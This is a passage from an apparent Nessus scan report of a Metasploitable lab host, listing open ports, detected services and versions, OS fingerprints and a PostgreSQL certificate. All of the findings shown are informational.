### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/111/rpc-portmapper

```
Port 111/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/111/rpc-portmapper

```
Port 111/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/137/netbios-ns

```
Port 137/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/138

```
Port 138/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/512

```
Port 512/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/513

```
Port 513/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/514

```
Port 514/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/883

```
Port 883/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/1099/rmi_registry

```
Port 1099/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/1524/wild_shell

```
Port 1524/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/2049/rpc-nfs

```
Port 2049/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/2049/rpc-nfs

```
Port 2049/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/2121

```
Port 2121/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/3306/mysql

```
Port 3306/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/3632

```
Port 3632/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/5432/postgresql

```
Port 5432/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/5900/vnc

```
Port 5900/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/6000/x11

```
Port 6000/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/6667/irc

```
Port 6667/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/6697/irc

```
Port 6697/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/8009/ajp13

```
Port 8009/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/8180/www

```
Port 8180/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/8787

```
Port 8787/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/36346/rpc-mountd

```
Port 36346/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/38000

```
Port 38000/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/40020/rpc-mountd

```
Port 40020/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/49280/rpc-nlockmgr

```
Port 49280/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/50898/rpc-nlockmgr

```
Port 50898/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/53077

```
Port 53077/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/53547/rpc-status

```
Port 53547/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/54757

```
Port 54757/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/56838/rpc-status

```
Port 56838/tcp was found to be open
```

## 33851 - Network daemons not managed by the package system

### Synopsis

Some daemon processes on the remote host are associated with programs that have been installed manually.

### Description

Some daemon processes on the remote host are associated with programs that have been installed manually.

System administration best practice dictates that an operating system's native package management tools be used to manage software installation, updates, and removal whenever possible.

### Solution

Use packages supplied by the operating system vendor whenever possible.

And make sure that manual software installation agrees with your organization's acceptable use and security policies.

### Risk Factor

None

### Plugin Information

Published: 2008/08/08, Modified: 2024/03/06

### Plugin Output

tcp/0

```
The following running daemon is not managed by dpkg :

/usr/bin/unrealircd
```

## 209654 - OS Fingerprints Detected

### Synopsis

Multiple OS fingerprints were detected.

### Description

Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc), it was possible to gather one or more fingerprints from the remote system. While the highest-confidence result was reported in plugin 11936, “OS Identification”, the complete set of fingerprints detected are reported here.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2025/02/26, Modified: 2025/03/03

### Plugin Output

tcp/0

```
Following OS Fingerprints were found

Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
Confidence level : 95
Method : HTTP
Type : general-purpose
Fingerprint : unknown

Remote operating system : Linux Kernel 2.6
Palo Alto Networks PAN-OS
Confidence level : 59
Method : SinFP
Type :
Fingerprint : SinFP:
   P1:B10113:F0x12:W5840:O0204ffff:M1460:
   P2:B10113:F0x12:W5792:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:191303_7_p=2121

Remote operating system : Unix
Confidence level : 70
Method : smb
Type : general-purpose
Fingerprint : unknown

Remote operating system : CentOS 5 Linux Kernel 2.6
Confidence level : 56
Method : MLSinFP
```

```
Type : unknown
Fingerprint : unknown

Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (hardy)
Confidence level : 95
Method : SSH
Type : general-purpose
Fingerprint : SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Remote operating system : Linux Kernel 2.6.24-16-server
Confidence level : 99
Method : uname
Type : general-purpose
Fingerprint : uname:Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
 GNU/Linux


Remote operating system : Linux Kernel 2.6.24-16-server on Ubuntu 8.04
Confidence level : 100
Method : LinuxDistribution
Type : general-purpose
Fingerprint : unknown

Remote operating system : Unix
Confidence level : 45
Method : MSRPC
Type : general-purpose
Fingerprint : unknown

Following fingerprints could not be used to determine OS :
 SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple
 Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
 Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6

SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

## 11936 - OS Identification

### Synopsis

It is possible to guess the remote operating system.

### Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2003/12/09, Modified: 2025/06/03

### Plugin Output

tcp/0

```

Remote operating system : Linux Kernel 2.6.24-16-server on Ubuntu 8.04
Confidence level : 100
Method : LinuxDistribution

Not all fingerprints could give a match. If you think that these
signatures would help us improve OS fingerprinting, please submit
them by visiting https://www.tenable.com/research/submitsignatures.

SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
uname:Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

SinFP:
   P1:B10113:F0x12:W5840:O0204ffff:M1460:
   P2:B10113:F0x12:W5792:O0204ffff0402080affffffff4445414401030307:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:191303_7_p=2121
SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple
 Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
 Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
```

```
The remote host is running Linux Kernel 2.6.24-16-server on Ubuntu 8.04
```

## 97993 - OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)

### Synopsis

Information about the remote host can be disclosed via an authenticated session.

### Description

Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2017/05/30, Modified: 2025/02/11

### Plugin Output

tcp/0

```

It was possible to log into the remote host via SSH using 'password' authentication.

The output of "uname -a" is :
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Local checks have been enabled for this host.
The remote Debian system is :
lenny/sid

This is a Ubuntu system

OS Security Patch Assessment is available for this host.
Runtime : 29.471992 seconds
```

## 181418 - OpenSSH Detection

### Synopsis

An OpenSSH-based SSH server was detected on the remote host.

### Description

An OpenSSH-based SSH server was detected on the remote host.

### See Also

https://www.openssh.com/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/09/14, Modified: 2025/08/25

### Plugin Output

tcp/22/ssh

```
  Service : ssh
  Version : 4.7p1
  Banner  : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

## 50845 - OpenSSL Detection

### Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

### Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

### See Also

https://www.openssl.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

### Plugin Output

tcp/25/smtp

## 50845 - OpenSSL Detection

### Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

### Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

### See Also

https://www.openssl.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

### Plugin Output

tcp/5432/postgresql

## 168007 - OpenSSL Installed (Linux)

### Synopsis

OpenSSL was detected on the remote Linux host.

### Description

OpenSSL was detected on the remote Linux host.

The plugin timeout can be set to a custom value other than the plugin's default of 15 minutes via the 'timeout.168007' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

Note: This plugin leverages the '-maxdepth' find command option, which is a feature implemented by the GNU find binary. If the target does not support this option, such as HP-UX and AIX devices, users will need to enable 'thorough tests' in their scan policy to run the find command without using a '-maxdepth' argument.

### See Also

https://openssl.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2022/11/21, Modified: 2025/09/11

### Plugin Output

tcp/0

```
  Path           : openssl 0.9.8g-4ubuntu3 (via package manager)
  Version        : 0.9.8g
  Managed by OS  : True
```

## 48243 - PHP Version Detection

### Synopsis

It was possible to obtain the version number of the remote PHP installation.

### Description

Nessus was able to determine the version of PHP available on the remote web server.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0936 |

### Plugin Information

Published: 2010/08/04, Modified: 2025/05/26

### Plugin Output

tcp/80/www

```

Nessus was able to identify the following PHP version information :

  Version : 5.2.4-2ubuntu5.10
  Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
  Source  : http://192.168.50.101/phpinfo.php
```

## 179139 - Package Manager Packages Report (nix)

### Synopsis

Reports details about packages installed via package managers.

### Description

Reports details about packages installed via package managers

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/08/01, Modified: 2025/05/07

### Plugin Output

tcp/0

```
Successfully retrieved and stored package data.
```

## 130024 - PostgreSQL Client/Server Installed (Linux)

### Synopsis

One or more PostgreSQL server or client versions are available on the remote Linux host.

### Description

One or more PostgreSQL server or client versions have been detected on the remote Linux host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2019/10/18, Modified: 2025/09/11

### Plugin Output

tcp/0

```
Path    : /usr/lib/postgresql/8.3/bin/postgres (via package manager)
Version : 8.3.1
```

tcp/0

```
Path    : /usr/lib/postgresql/8.3/bin/psql (via package manager)
Version : 8.3.1
```

## 118224 - PostgreSQL STARTTLS Support

### Synopsis

The remote service supports encrypting traffic.

### Description

The remote PostgreSQL server supports the use of encryption initiated during pre-login to switch from a cleartext to an encrypted communications channel.

### See Also

https://www.postgresql.org/docs/9.2/protocol-flow.html#AEN96066

https://www.postgresql.org/docs/9.2/protocol-message-formats.html

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2018/10/19, Modified: 2022/04/11

### Plugin Output

tcp/5432/postgresql

```

Here is the PostgreSQL's SSL certificate that Nessus
was able to collect after sending a pre-login packet :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
